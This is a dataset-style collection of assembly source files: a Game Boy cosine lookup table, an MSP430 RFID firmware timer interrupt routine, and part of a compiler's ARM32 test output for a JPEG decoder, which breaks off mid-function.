zpage r4
zpage r5
zpage r6
zpage r7
zpage r8
zpage r9
zpage r10
zpage r11
zpage r12
zpage r13
zpage r14
zpage r15
zpage r16
zpage r17
zpage r18
zpage r19
zpage r20
zpage r21
zpage r22
zpage r23
zpage r24
zpage r25
zpage r26
zpage r27
zpage r28
zpage r29
zpage r30
zpage r31
zpage btmp0
zpage btmp1
zpage btmp2
zpage btmp3
|
src/tables/cosine.asm | furrtek/GB303 | 90 | 14482 | ;256 signed values
lut_cos:
.db $7F,$7F,$7F,$7E,$7E,$7E,$7D,$7D,$7C,$7B,$7A,$7A,$79,$78,$76,$75
.db $74,$73,$71,$70,$6F,$6D,$6B,$6A,$68,$66,$64,$62,$60,$5E,$5C,$5A
.db $58,$55,$53,$51,$4E,$4C,$49,$47,$44,$41,$3F,$3C,$39,$36,$34,$31
.db $2E,$2B,$28,$25,$22,$1F,$1C,$19,$16,$13,$10,$D,$9,$6,$3,$0
.db $FD,$FA,$F7,$F4,$F1,$ED,$EA,$E7,$E4,$E1,$DE,$DB,$D8,$D5,$D2,$D0
.db $CD,$CA,$C7,$C4,$C2,$BF,$BC,$BA,$B7,$B4,$B2,$B0,$AD,$AB,$A9,$A6
.db $A4,$A2,$A0,$9E,$9C,$9A,$98,$96,$95,$93,$92,$90,$8F,$8D,$8C,$8B
.db $8A,$88,$87,$87,$86,$85,$84,$83,$83,$82,$82,$82,$81,$81,$81,$81
.db $81,$81,$81,$82,$82,$82,$83,$83,$84,$85,$86,$86,$87,$88,$89,$8B
.db $8C,$8D,$8E,$90,$91,$93,$95,$96,$98,$9A,$9C,$9E,$A0,$A2,$A4,$A6
.db $A8,$AB,$AD,$AF,$B2,$B4,$B7,$B9,$BC,$BE,$C1,$C4,$C7,$C9,$CC,$CF
.db $D2,$D5,$D8,$DB,$DE,$E1,$E4,$E7,$EA,$ED,$F0,$F3,$F6,$F9,$FD,$0
.db $3,$6,$9,$C,$F,$12,$15,$18,$1C,$1F,$22,$25,$28,$2A,$2D,$30
.db $33,$36,$39,$3C,$3E,$41,$44,$46,$49,$4B,$4E,$50,$53,$55,$57,$5A
.db $5C,$5E,$60,$62,$64,$66,$68,$69,$6B,$6D,$6E,$70,$71,$73,$74,$75
.db $76,$77,$78,$79,$7A,$7B,$7C,$7C,$7D,$7E,$7E,$7E,$7F,$7F,$7F,$7F
|
CCS/wisp-base/RFID/Timer0A1_ISR.asm | whitecloudy/wisp5 | 53 | 16019 | <filename>CCS/wisp-base/RFID/Timer0A1_ISR.asm
;/***********************************************************************************************************************************/
;/**@file Timer0A1_ISR.asm
;* @brief Receive chain decoding routines.
;* @details
;*
;* @author <NAME>, UW Sensor Systems Lab
;* @created
;* @last rev
;*
;* @notes
;*
;* @todo Document the purpose(s) of this ISR better
;*/
;/***********************************************************************************************************************************/
.cdecls C, LIST, "../globals.h", "../config/wispGuts.h", "rfid.h"
.define "4", SR_SP_OFF
.retain
.retainrefs
;*************************************************************************************************************************************
; Timer0A1 ISR:
; Modes: #CPU_OFF: still in latch mode. shut down TA0_SM and restart RX State Machine *
; #CPU_ON: in parse mode. abort & send false message to EPC_SM so it doesn't hang. this state should never happen though.. *
; *
; Interrupt Sources: T0A1CCR0 *
;*************************************************************************************************************************************
Timer0A1_ISR: ;[6] entry cycles into an interrupt (well, 5-6)
PUSHM.A #1, R15 ;[] save R15
;---------------------------------------Check What State the Receive Chain is in-------------------------------------------------
MOV SR_SP_OFF(SP), R15 ;[]Grab previous SR (last item that was shoved 4 bytes beforehand "PUSHM.A")
BIT #CPUOFF, R15 ;[]Check to see if the CPU was off.
JZ CPU_is_on ;[]
;---------------------------------------------------(CPU IS OFF)-----------------------------------------------------------------
CPU_is_off: ;[]i.e. we're still in latch mode. restart the RX State Machine. Two entries here: either from RX State Machine or TA1_SM.
; or... lowPowerSleep() is using it
CMP.B #TRUE, &isDoingLowPwrSleep;[] is the lowPowerSleep() call using it!?
JEQ Wakeup_Proc
MOV.B &isDoingLowPwrSleep, R15 ;/** @todo This line seems unnecessary... */
;we're gonna be careful on the TA1_SM for now because that should never happen. so just for now we'll add on clr R6 & rst R4.
MOV &(cmd), R4 ;[] shouldn't need, just for safety (make sure TA1 starts up ok)
CLR R5 ;[1] reset R5 for rentry into RX State Machine
BIC.B #(PIN_RX), &PRXIES ;[4] wait again for #1 to fire on rising edge(inverted) //@us_change, enable
BIS.B #(PIN_RX), &PRXIE ;[]Enable the interrupt
CLR.B PRXIFG ;[]clr any pending flasgs (safety)
; TODO The following shouldn't overwrite other bits in PRXSEL!?
BIC.B #PIN_RX, &PRXSEL0 ;[]disable TimerA1
BIC.B #PIN_RX, &PRXSEL1 ;[]disable TimerA1
BIC.B #(CM_2+CCIE), &TA0CCTL0 ;[] disable capture and interrupts by capture-compare unit
BIC #(CCIFG), TA0CCTL0 ;[] clear the interrupt flag
BIS #(SCG1+OSCOFF+CPUOFF+GIE), SR_SP_OFF(SP);[] put tag back into LPM4
POPM.A #1, R15
RETI ;[5] return from interrupt
Wakeup_Proc:
BIC #(CCIFG), TA0CCTL0 ;[] clear the interrupt flag
;@us change:clear TA0CTL and TA0CCTL1, because lowpowermode is controlled by TA0CCTL1
CLR TA0CTL
CLR TA0CCTL0 ;[]clear TA0CCTL0, no need to clear out of ISR
CLR TA0CCTL1 ;[]clear TA0CCTL1, no need to clear out of ISR
MOV #(FALSE), &isDoingLowPwrSleep ;[] clear that flag!
BIC #(SCG1+OSCOFF+CPUOFF+GIE), SR_SP_OFF(SP);[] take tag out of LPM4
POPM.A #1, R15
RETI ;[5] return from interrupt
;----------------------------------------------------(CPU IS ON)-----------------------------------------------------------------
CPU_is_on: ;i.e. we're now in parse mode
;uh-oh. chances are that the EPC_SM is already to while(bits<NUM_X); by now we've already failed the command, so set bits high
;wakeup. The command will be parsed in error and potentially handled in error, oh well. This command was already failed. This case
;should never ever happen though.
ADD #0xF000, R5 ;[] set bits to a large value so machine can break out
BIC #(CCIFG), TA0CCTL0 ;[] clear the interrupt flag
BIC #(SCG1+OSCOFF+CPUOFF+GIE), SR_SP_OFF(SP);[] put tag back into LPM4
POPM.A #1, R15
RETI ;[5] return from interrupt
;*************************************************************************************************************************************
; DEFINE THE INTERRUPT VECTOR ASSIGNMENT *
;*************************************************************************************************************************************
;.sect ".int44" ; Timer0_A1 Vector
;.short Timer0A1_ISR ; This sect/short pair sets int52 = Timer0A1_ISR addr.
.end
|
CpuA32/TestData/nanojpeg.asm | robertmuth/Cwerg | 171 | 24257 | <reponame>robertmuth/Cwerg
############################################################
# GlobalRegAlloc arm_syscall_write
############################################################
# REGSTATS arm_syscall_write all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc arm_syscall_read
############################################################
# REGSTATS arm_syscall_read all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc arm_syscall_open
############################################################
# REGSTATS arm_syscall_open all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc arm_syscall_close
############################################################
# REGSTATS arm_syscall_close all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc arm_syscall_lseek
############################################################
# REGSTATS arm_syscall_lseek all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc arm_syscall_brk
############################################################
# REGSTATS arm_syscall_brk all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc arm_syscall_exit
############################################################
# REGSTATS arm_syscall_exit all: 0 0 glo: 0 0 loc: 0 0
############################################################
# GlobalRegAlloc exit
############################################################
# REGSTATS exit all: 0 1 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc brk
############################################################
# REGSTATS brk all: 1 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc open
############################################################
# REGSTATS open all: 1 3 glo: 0 0 loc: 0 3
############################################################
# GlobalRegAlloc close
############################################################
# REGSTATS close all: 1 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc write
############################################################
# REGSTATS write all: 1 2 glo: 0 0 loc: 0 3
############################################################
# GlobalRegAlloc read
############################################################
# REGSTATS read all: 1 2 glo: 0 0 loc: 0 3
############################################################
# GlobalRegAlloc lseek
############################################################
# REGSTATS lseek all: 1 2 glo: 0 0 loc: 0 3
############################################################
# GlobalRegAlloc putchar
############################################################
# REGSTATS putchar all: 0 1 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc writeln
############################################################
# REGSTATS writeln all: 0 2 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc puts
############################################################
# REGSTATS puts all: 0 1 glo: 0 2 loc: 0 1
############################################################
# GlobalRegAlloc print_num
############################################################
# REGSTATS print_num all: 0 1 glo: 1 1 loc: 0 3
############################################################
# GlobalRegAlloc print_num_ln
############################################################
# REGSTATS print_num_ln all: 0 1 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc print_hex_num
############################################################
# REGSTATS print_hex_num all: 0 1 glo: 1 1 loc: 0 1
############################################################
# GlobalRegAlloc print_hex_num_ln
############################################################
# REGSTATS print_hex_num_ln all: 0 1 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc free
############################################################
# REGSTATS free all: 0 1 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc malloc
############################################################
# REGSTATS malloc all: 0 1 glo: 4 1 loc: 0 2
############################################################
# GlobalRegAlloc mymemset
############################################################
# REGSTATS mymemset all: 0 3 glo: 0 4 loc: 0 1
############################################################
# GlobalRegAlloc mymemcpy
############################################################
# REGSTATS mymemcpy all: 0 3 glo: 0 4 loc: 0 1
############################################################
# GlobalRegAlloc njGetWidth
############################################################
# REGSTATS njGetWidth all: 0 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc njGetHeight
############################################################
# REGSTATS njGetHeight all: 0 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc njIsColor
############################################################
# REGSTATS njIsColor all: 0 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc njGetImage
############################################################
# REGSTATS njGetImage all: 0 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc njGetImageSize
############################################################
# REGSTATS njGetImageSize all: 0 0 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc njClip
############################################################
# REGSTATS njClip all: 0 1 glo: 0 1 loc: 0 1
############################################################
# GlobalRegAlloc njRowIDCT
############################################################
# REGSTATS njRowIDCT all: 0 1 glo: 0 8 loc: 0 10
############################################################
# GlobalRegAlloc njColIDCT
############################################################
# REGSTATS njColIDCT all: 1 3 glo: 2 10 loc: 10 9
############################################################
# GlobalRegAlloc __static_1_njShowBits
############################################################
# REGSTATS __static_1_njShowBits all: 0 1 glo: 0 2 loc: 0 3
############################################################
# GlobalRegAlloc njSkipBits
############################################################
# REGSTATS njSkipBits all: 1 0 glo: 1 0 loc: 0 2
############################################################
# GlobalRegAlloc njGetBits
############################################################
# REGSTATS njGetBits all: 1 0 glo: 0 0 loc: 2 0
############################################################
# GlobalRegAlloc njByteAlign
############################################################
# REGSTATS njByteAlign all: 0 0 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc __static_2_njSkip
############################################################
# REGSTATS __static_2_njSkip all: 0 1 glo: 0 0 loc: 0 3
############################################################
# GlobalRegAlloc njDecode16
############################################################
# REGSTATS njDecode16 all: 0 1 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc __static_3_njDecodeLength
############################################################
# REGSTATS __static_3_njDecodeLength all: 1 0 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc njSkipMarker
############################################################
# REGSTATS njSkipMarker all: 0 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc njDecodeSOF
############################################################
# REGSTATS njDecodeSOF all: 2 0 glo: 4 1 loc: 0 3
############################################################
# GlobalRegAlloc njDecodeDHT
############################################################
# REGSTATS njDecodeDHT all: 0 0 glo: 5 6 loc: 0 3
############################################################
# GlobalRegAlloc njDecodeDQT
############################################################
# REGSTATS njDecodeDQT all: 0 0 glo: 0 3 loc: 0 2
############################################################
# GlobalRegAlloc njDecodeDRI
############################################################
# REGSTATS njDecodeDRI all: 1 0 glo: 0 0 loc: 0 2
############################################################
# GlobalRegAlloc njGetVLC
############################################################
# REGSTATS njGetVLC all: 0 2 glo: 4 4 loc: 0 2
############################################################
# GlobalRegAlloc njDecodeBlock
############################################################
# REGSTATS njDecodeBlock all: 1 2 glo: 3 2 loc: 1 3
############################################################
# GlobalRegAlloc njDecodeScan
############################################################
# REGSTATS njDecodeScan all: 0 0 glo: 8 1 loc: 0 3
############################################################
# GlobalRegAlloc njUpsampleH
############################################################
# REGSTATS njUpsampleH all: 2 0 glo: 7 0 loc: 2 3
############################################################
# GlobalRegAlloc njUpsampleV
############################################################
# REGSTATS njUpsampleV all: 2 0 glo: 9 0 loc: 4 3
############################################################
# GlobalRegAlloc njConvert
############################################################
# REGSTATS njConvert all: 1 0 glo: 11 0 loc: 3 2
############################################################
# GlobalRegAlloc njInit
############################################################
# REGSTATS njInit all: 0 0 glo: 0 0 loc: 0 1
############################################################
# GlobalRegAlloc njDone
############################################################
# REGSTATS njDone all: 0 0 glo: 1 0 loc: 0 2
############################################################
# GlobalRegAlloc njDecode
############################################################
# REGSTATS njDecode all: 0 2 glo: 0 1 loc: 2 2
############################################################
# GlobalRegAlloc write_str
############################################################
# REGSTATS write_str all: 0 2 glo: 0 3 loc: 0 1
############################################################
# GlobalRegAlloc write_dec
############################################################
# REGSTATS write_dec all: 0 2 glo: 0 5 loc: 0 2
############################################################
# GlobalRegAlloc main
############################################################
# REGSTATS main all: 2 1 glo: 4 0 loc: 1 3
# size 8
.mem $$malloc_state 4 data
.data 8 "\x00"
.endmem
# size 16
.mem __static_4_counts 1 data
.data 16 "\x00"
.endmem
# size 525000
.mem nj 4 data
.data 525000 "\x00"
.endmem
# size 64
.mem njZZ 1 data
.data 1 "\x00\x01\x08\x10\x09\x02\x03\n\x11\x18 \x19\x12\x0b\x04\x05\x0c\x13\x1a!(0)\"\x1b\x14\x0d\x06\x07\x0e\x15\x1c#*1892+$\x1d\x16\x0f\x17\x1e%,3:;4-&\x1f'.5<=6/7>?"
.endmem
# size 41
.mem string_const_1 4 rodata
.data 1 "Usage: nanojpeg <input.jpg> <output.ppm>\x00"
.endmem
# size 30
.mem string_const_2 4 rodata
.data 1 "Error opening the input file.\x00"
.endmem
# size 31
.mem string_const_3 4 rodata
.data 1 "Error decoding the input file.\x00"
.endmem
# size 31
.mem string_const_4 4 rodata
.data 1 "Error opening the output file.\x00"
.endmem
# size 4
.mem string_const_5 4 rodata
.data 1 "P6\n\x00"
.endmem
# size 4
.mem string_const_6 4 rodata
.data 1 "P5\n\x00"
.endmem
# size 2
.mem string_const_7 4 rodata
.data 1 " \x00"
.endmem
# size 2
.mem string_const_8 4 rodata
.data 1 "\n\x00"
.endmem
# size 5
.mem string_const_9 4 rodata
.data 1 "255\n\x00"
.endmem
# sig: IN: [U32] -> OUT: [] stk_size:0
.fun exit 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 1
svc al 0
ldr_imm_add_post al r7 sp 4
ud2 al
.endfun
# sig: IN: [A32] -> OUT: [A32] stk_size:0
.fun brk 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 45
svc al 0
ldr_imm_add_post al r7 sp 4
bx al lr
.endfun
# sig: IN: [A32 S32 S32] -> OUT: [S32] stk_size:0
.fun open 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 5
svc al 0
ldr_imm_add_post al r7 sp 4
bx al lr
.endfun
# sig: IN: [S32] -> OUT: [S32] stk_size:0
.fun close 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 6
svc al 0
ldr_imm_add_post al r7 sp 4
bx al lr
.endfun
# sig: IN: [S32 A32 U32] -> OUT: [S32] stk_size:0
.fun write 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 4
svc al 0
ldr_imm_add_post al r7 sp 4
bx al lr
.endfun
# sig: IN: [S32 A32 U32] -> OUT: [S32] stk_size:0
.fun read 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 3
svc al 0
ldr_imm_add_post al r7 sp 4
bx al lr
.endfun
# sig: IN: [S32 S32 S32] -> OUT: [S32] stk_size:0
.fun lseek 16
.bbl start 4
str_imm_sub_pre al sp 4 r7
movw al r7 19
svc al 0
ldr_imm_add_post al r7 sp 4
bx al lr
.endfun
# sig: IN: [U32] -> OUT: [] stk_size:1
.fun putchar 16
sub_imm al sp sp 16
.bbl start 4
add_imm al r1 sp 0
mov_regimm al r0 r0 lsl 0
strb_imm_add al sp 0 r0
mov_imm al r2 1
mov_imm al r0 1
str_imm_sub_pre al sp 4 r7
movw al r7 4
svc al 0
ldr_imm_add_post al r7 sp 4
add_imm al sp sp 16
bx al lr
.endfun
# sig: IN: [A32 U32] -> OUT: [] stk_size:0
.fun writeln 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl start 4
mov_regimm al r2 r1 lsl 0
mov_regimm al r1 r0 lsl 0
mov_imm al r0 1
str_imm_sub_pre al sp 4 r7
movw al r7 4
svc al 0
ldr_imm_add_post al r7 sp 4
mov_regimm al r1 r0 lsl 0
mov_imm al r0 10
bl al expr:call:putchar
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [A32] -> OUT: [] stk_size:0
.fun puts 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl start 4
mov_regimm al r2 r0 lsl 0
mov_imm al r3 0
b al expr:jump24:check
.bbl loop 4
add_imm al r3 r3 1
.bbl check 4
ldrb_reg_add al r0 r2 r3 lsl 0
uxtb al r0 r0 0
cmp_imm al r0 0
b ne expr:jump24:loop
.bbl check_1 4
mov_regimm al r1 r3 lsl 0
mov_regimm al r0 r2 lsl 0
bl al expr:call:writeln
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [U32] -> OUT: [] stk_size:0
.fun print_num 16
stmdb_update al sp reglist:0x4040
sub_imm al sp sp 8
.bbl start 4
mov_imm al r1 10
udiv al r1 r0 r1
mov_imm al r2 10
mul al r1 r1 r2
sub_regimm al r6 r0 r1 lsl 0
mov_imm al r1 10
udiv al r4 r0 r1
cmp_imm al r4 0
b eq expr:jump24:skip
.bbl ddd 4
mov_regimm al r0 r4 lsl 0
bl al expr:call:print_num
.bbl skip 4
add_imm al r6 r6 48
mov_regimm al r0 r6 lsl 0
bl al expr:call:putchar
add_imm al sp sp 8
ldmia_update al reglist:0x8040 sp
.endfun
# sig: IN: [U32] -> OUT: [] stk_size:0
.fun print_num_ln 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl start 4
bl al expr:call:print_num
mov_imm al r0 10
bl al expr:call:putchar
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [U32] -> OUT: [] stk_size:0
.fun print_hex_num 16
stmdb_update al sp reglist:0x4040
sub_imm al sp sp 8
.bbl start 4
and_imm al r6 r0 15
mov_regimm al r2 r0 lsr 4
cmp_imm al r2 0
b eq expr:jump24:skip
.bbl ddd 4
mov_regimm al r0 r2 lsl 0
bl al expr:call:print_hex_num
.bbl skip 4
cmp_imm al r6 10
movw cc r0 48
movw cs r0 55
add_regimm al r6 r6 r0 lsl 0
mov_regimm al r0 r6 lsl 0
bl al expr:call:putchar
add_imm al sp sp 8
ldmia_update al reglist:0x8040 sp
.endfun
# sig: IN: [U32] -> OUT: [] stk_size:0
.fun print_hex_num_ln 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl start 4
bl al expr:call:print_hex_num
mov_imm al r0 10
bl al expr:call:putchar
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [A32] -> OUT: [] stk_size:0
.fun free 16
.bbl start 4
bx al lr
.endfun
# sig: IN: [U32] -> OUT: [A32] stk_size:0
.fun malloc 16
stmdb_update al sp reglist:0x43c0
sub_imm al sp sp 12
.bbl start 4
mov_regimm al r8 r0 lsl 0
add_imm al r8 r8 15
bic_imm al r8 r8 15
movw al r0 expr:movw_abs_nc:$$malloc_state
movt al r0 expr:movt_abs:$$malloc_state
ldr_imm_add al r9 r0 0
movw al r0 expr:movw_abs_nc:$$malloc_state:4
movt al r0 expr:movt_abs:$$malloc_state:4
ldr_imm_add al r3 r0 0
cmp_imm al r9 0
b ne expr:jump24:normal
.bbl init 4
mov_imm al r0 0
bl al expr:call:brk
mov_regimm al r9 r0 lsl 0
mov_regimm al r3 r9 lsl 0
movw al r0 expr:movw_abs_nc:$$malloc_state
movt al r0 expr:movt_abs:$$malloc_state
str_imm_add al r0 0 r9
movw al r0 expr:movw_abs_nc:$$malloc_state:4
movt al r0 expr:movt_abs:$$malloc_state:4
str_imm_add al r0 0 r9
.bbl normal 4
add_regimm al r7 r9 r8 lsl 0
cmp_regimm al r7 r3 lsl 0
b ls expr:jump24:done
.bbl normal_1 4
add_imm al r6 r3 2097152
mov_regimm al r0 r6 lsl 0
movw al r1 0
movt al r1 65520
and_regimm al r0 r0 r1 lsl 0
mov_regimm al r6 r0 lsl 0
mov_regimm al r0 r6 lsl 0
bl al expr:call:brk
cmp_regimm al r0 r6 lsl 0
b eq expr:jump24:done_after_brk
.bbl normal_2 4
mov_imm al r0 0
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl done_after_brk 4
movw al r0 expr:movw_abs_nc:$$malloc_state:4
movt al r0 expr:movt_abs:$$malloc_state:4
str_imm_add al r0 0 r6
.bbl done 4
movw al r0 expr:movw_abs_nc:$$malloc_state
movt al r0 expr:movt_abs:$$malloc_state
str_imm_add al r0 0 r7
mov_regimm al r0 r9 lsl 0
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.endfun
# sig: IN: [A32 S32 U32] -> OUT: [] stk_size:0
.fun mymemset 16
.bbl %start 4
mov_regimm al r5 r0 lsl 0
mov_regimm al ip r1 lsl 0
mov_regimm al r4 r2 lsl 0
mov_imm al r3 0
b al expr:jump24:for_1_cond
.bbl for_1 4
mov_regimm al r0 ip lsl 0
mov_regimm al r0 r0 lsl 0
strb_reg_add al r5 r3 lsl 0 r0
.bbl for_1_next 4
add_imm al r0 r3 1
mov_regimm al r3 r0 lsl 0
.bbl for_1_cond 4
mov_regimm al r0 r3 lsl 0
cmp_regimm al r0 r4 lsl 0
b cc expr:jump24:for_1
.bbl for_1_exit 4
bx al lr
.endfun
# sig: IN: [A32 A32 U32] -> OUT: [] stk_size:0
.fun mymemcpy 16
.bbl %start 4
mov_regimm al r3 r0 lsl 0
mov_regimm al ip r1 lsl 0
mov_regimm al r5 r2 lsl 0
mov_imm al r4 0
b al expr:jump24:for_1_cond
.bbl for_1 4
ldrsb_reg_add al r0 ip r4
sxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
strb_reg_add al r3 r4 lsl 0 r0
.bbl for_1_next 4
add_imm al r0 r4 1
mov_regimm al r4 r0 lsl 0
.bbl for_1_cond 4
mov_regimm al r0 r4 lsl 0
cmp_regimm al r0 r5 lsl 0
b cc expr:jump24:for_1
.bbl for_1_exit 4
bx al lr
.endfun
# sig: IN: [] -> OUT: [S32] stk_size:0
.fun njGetWidth 16
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
bx al lr
.endfun
# sig: IN: [] -> OUT: [S32] stk_size:0
.fun njGetHeight 16
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:20
movt al r0 expr:movt_abs:nj:20
ldr_imm_add al r0 r0 0
bx al lr
.endfun
# sig: IN: [] -> OUT: [S32] stk_size:0
.fun njIsColor 16
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:40
movt al r0 expr:movt_abs:nj:40
ldr_imm_add al r0 r0 0
cmp_imm al r0 1
b eq expr:jump24:if_1_false
.bbl if_1_true 4
mov_imm al r0 1
bx al lr
.bbl if_1_false 4
mov_imm al r0 0
bx al lr
.endfun
# sig: IN: [] -> OUT: [A32] stk_size:0
.fun njGetImage 16
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:40
movt al r0 expr:movt_abs:nj:40
ldr_imm_add al r0 r0 0
cmp_imm al r0 1
b ne expr:jump24:if_1_false
.bbl if_1_true 4
movw al r0 expr:movw_abs_nc:nj:84
movt al r0 expr:movt_abs:nj:84
ldr_imm_add al r0 r0 0
bx al lr
.bbl if_1_false 4
movw al r0 expr:movw_abs_nc:nj:524996
movt al r0 expr:movt_abs:nj:524996
ldr_imm_add al r0 r0 0
bx al lr
.endfun
# sig: IN: [] -> OUT: [S32] stk_size:0
.fun njGetImageSize 16
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:20
movt al r1 expr:movt_abs:nj:20
ldr_imm_add al r1 r1 0
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 0
bx al lr
.endfun
# sig: IN: [S32] -> OUT: [U32] stk_size:0
.fun njClip 16
.bbl %start 4
mov_regimm al r2 r0 lsl 0
cmp_imm al r2 0
b ge expr:jump24:if_2_false
.bbl if_2_true 4
mov_imm al r0 0
bx al lr
.bbl if_2_false 4
cmp_imm al r2 255
b le expr:jump24:if_2_end
.bbl if_1_true 4
mov_imm al r0 255
bx al lr
.bbl if_2_end 4
mov_regimm al r0 r2 lsl 0
bx al lr
.endfun
# sig: IN: [A32] -> OUT: [] stk_size:32
.fun njRowIDCT 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 36
.bbl %start 4
str_imm_add al sp 28 r0
ldr_imm_add al r0 sp 28
ldr_imm_add al r0 r0 16
mov_regimm al r6 r0 lsl 11
ldr_imm_add al r0 sp 28
ldr_imm_add al r7 r0 24
orr_regimm al r0 r6 r7 lsl 0
ldr_imm_add al r1 sp 28
ldr_imm_add al r8 r1 8
orr_regimm al r0 r0 r8 lsl 0
ldr_imm_add al r1 sp 28
ldr_imm_add al r9 r1 4
orr_regimm al r0 r0 r9 lsl 0
ldr_imm_add al r1 sp 28
ldr_imm_add al sl r1 28
orr_regimm al r0 r0 sl lsl 0
ldr_imm_add al r1 sp 28
ldr_imm_add al fp r1 20
orr_regimm al r0 r0 fp lsl 0
ldr_imm_add al r1 sp 28
ldr_imm_add al r1 r1 12
str_imm_add al sp 16 r1
ldr_imm_add al r1 sp 16
orr_regimm al r0 r0 r1 lsl 0
cmp_imm al r0 0
b ne expr:jump24:if_1_end
.bbl if_1_true 4
ldr_imm_add al r0 sp 28
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 3
ldr_imm_add al r1 sp 28
str_imm_add al r1 28 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 24 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 20 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 16 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 12 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 8 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 4 r0
ldr_imm_add al r1 sp 28
str_imm_add al r1 0 r0
add_imm al sp sp 36
ldmia_update al reglist:0x8fc0 sp
.bbl if_1_end 4
ldr_imm_add al r0 sp 28
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 11
add_imm al r0 r0 128
add_regimm al r1 r9 sl lsl 0
movw al r2 565
mul al r1 r1 r2
movw al r2 2276
mul al r2 r9 r2
add_regimm al r2 r1 r2 lsl 0
movw al r3 3406
mul al r3 sl r3
sub_regimm al r1 r1 r3 lsl 0
ldr_imm_add al r3 sp 16
add_regimm al r3 fp r3 lsl 0
movw al r4 2408
mul al r3 r3 r4
movw al r4 799
mul al r4 fp r4
sub_regimm al r4 r3 r4 lsl 0
movw al r5 4017
ldr_imm_add al ip sp 16
mul al r5 ip r5
sub_regimm al r3 r3 r5 lsl 0
add_regimm al r5 r0 r6 lsl 0
sub_regimm al r0 r0 r6 lsl 0
add_regimm al ip r8 r7 lsl 0
movw al lr 1108
mul al ip ip lr
movw al lr 3784
mul al lr r7 lr
sub_regimm al lr ip lr lsl 0
str_imm_add al sp 20 lr
mov_imm al lr 1568
str_imm_add al sp 24 lr
ldr_imm_add al lr sp 24
mul al lr r8 lr
add_regimm al ip ip lr lsl 0
add_regimm al lr r2 r4 lsl 0
sub_regimm al r2 r2 r4 lsl 0
add_regimm al r4 r1 r3 lsl 0
sub_regimm al r1 r1 r3 lsl 0
add_regimm al r3 r5 ip lsl 0
sub_regimm al r5 r5 ip lsl 0
ldr_imm_add al ip sp 20
add_regimm al ip r0 ip lsl 0
str_imm_add al sp 4 ip
ldr_imm_add al ip sp 20
sub_regimm al r0 r0 ip lsl 0
str_imm_add al sp 8 r0
add_regimm al r0 r2 r1 lsl 0
str_imm_add al sp 12 r0
mov_imm al r0 181
str_imm_add al sp 0 r0
ldr_imm_add al r0 sp 0
ldr_imm_add al ip sp 12
mul al r0 ip r0
add_imm al r0 r0 128
mov_regimm al r0 r0 asr 8
sub_regimm al r1 r2 r1 lsl 0
mov_imm al r2 181
mul al r1 r1 r2
add_imm al r1 r1 128
mov_regimm al r1 r1 asr 8
add_regimm al r2 r3 lr lsl 0
mov_regimm al r2 r2 asr 8
ldr_imm_add al ip sp 28
str_imm_add al ip 0 r2
ldr_imm_add al r2 sp 4
add_regimm al r2 r2 r0 lsl 0
